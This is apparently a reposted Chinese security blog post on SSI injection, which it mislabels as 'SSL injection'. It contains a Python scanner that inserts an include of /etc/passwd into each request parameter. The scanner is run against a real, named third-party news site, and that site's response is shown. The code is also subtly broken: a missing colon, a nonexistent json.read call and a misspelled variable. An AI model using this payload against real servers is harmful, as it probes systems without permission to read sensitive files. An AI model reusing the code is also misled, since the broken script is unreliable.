网络安全[脚本小子] -- SSI注入

来源:互联网 发布:安卓吹笛子软件 编辑:程序博客网 时间:2024/05/01 04:23

   本系列文章将与大家一起学习探讨网络安全知识,但我们不做脚本小子。 在计算机和网络领域里,脚本小子(script kiddie)是一个贬义词用来描述以黑客自居并沾沾自喜的初学者。 他们钦慕于黑客的能力与探索精神,但与黑客所不同的是,脚本小子通常只是对计算机系统有基础了解与爱好, 但并不注重程序语言、算法、和数据结构的研究,虽然这些对于真正伟大的黑客来说是必须具备的素质。 他们常常从某些网站上复制脚本代码,然后到处粘贴,却并不一定明白他们的方法与原理。所以一般在说明一个漏洞之后,会提供一个漏洞发现程序,由于Python的强大和网络库的丰富,所以选择了Python。本专题--网络安全[脚本小子],就是为了勉励我们不做脚本小子,同时暗喻我们会提供脚本,做自动化漏洞发现,成为真正的“脚本小子”。

   所谓的SSL注入,其实就是服务器端文件包含,想深入了解的可以看这篇文档,http://lamp.linux.gov.cn/Apache/ApacheMenu/howto/ssi.html,很明显如果我们输入带SSL指令的url,那么服务器将会解析,输入<!--#include file="/etc/passwd"-->将会造成信息泄漏,有很大的隐患。

   做渗透测试的大伙肯定知道要想发现漏洞,首先要发现Url,最好能够自动化,大家很熟悉的WVS是发掘漏洞很强大的工具,在我眼里完胜IBM Appcan。WVS是用Qt写的,使用了QtWebkit,所以能找到几乎所有的url,包括ajax,html5的url。由于有PyQt,所以完全可以用Python仿写,唉如果wvs开源多好,轻轻松松就可以移植到PyQt上(想多了吧。。。)。

 自动化发现程序如下:

[python] view plaincopy
  1. #!/usr/bin/python  
  2. # -*- coding: utf-8 -*-  
  3. import urllib  
  4. import json  
  5.   
  6. def run(url,method,params):  
  7.     try:  
  8.         if method == 'get':  #year1=20120923&year2=20130923  
  9.             params_dict = None  
  10.             try:  
  11.                 params_dict = dict(map(lambda s: s.split('='),params.split('&')))  #params may "&page=&no=3249"  
  12.             except:  
  13.                 return  
  14.             for row in params_dict:  
  15.                 tmp = params_dict.copy()  
  16.                 tmp[row] = '<!--#include%20file="/etc/passwd"-->'  
  17.                 ret = []  
  18.                 for k in tmp:  
  19.                     ret.append(k+"="+tmp[k])  
  20.                 new_url = "%s?%s" %(url, '&'.join(ret))  
  21.                 opener = urllib.urlopen(new_url)  
  22.                 content = opener.read()  
  23.                 opener.close()  
  24.                 if content.find("[an error occurred while processing this directive]") >= 0:  
  25.                     res = opener.headers.dict  
  26.                     res['status']='403'  
  27.                     print 'bingo',new_url,content  
  28.                     break  
  29.         elif method == 'post'#[{"type":"hidden","name":"num","value":""},{"type":"hidden","name":"asu","value":""}]  
  30.             params_list = json.read(params)  
  31.             params = []  
  32.             for params_dict in params_list:  
  33.                 params.append((params_dict['name'],params_dict['value']))  
  34.             params_dict = dict(params)  
  35.             for row in params_dict:  
  36.                 tmp = params_dict.copy()  
  37.                 tmp[row] = '<!--#include file="/etc/passwd"-->'  
  38.                 data = urllib.urlencode(tmp)  
  39.                 opener = urllib.urlopen(url,data)  
  40.                 content = opener.read()  
  41.                 opener.close()  
  42.                 if content.find("[an error occurred while processing this directive]") >= 0:  
  43.                     res = opener.headers.dict  
  44.                     res['status']='403'  
  45.                     print 'bingo',url,data,contet  
  46.                     break  
  47.     except Exception,e:  
  48.         print str(e)  
  49.   
  50. if __name__ == '__main__':  
  51.     run('http://hpc.ebn.co.kr/news/n_view.html','get','id=630432&kind=menu_code&keys=70')  
输出结果:
[python] view plaincopy
  1. bingo http://hpc.ebn.co.kr/news/n_view.html?keys=<!--#include%20file="/etc/passwd"-->&kind=menu_code&id=630432 [an error occurred while processing this directive]  
  2.   
  3.     
  4.   
  5.     You don't have permission to access the requested object.  
  6.     It is either read-protected or not readable by the server.  
  7.   
  8.     
  9.   
  10. [an error occurred while processing this directive] 
0 0
原创粉丝点击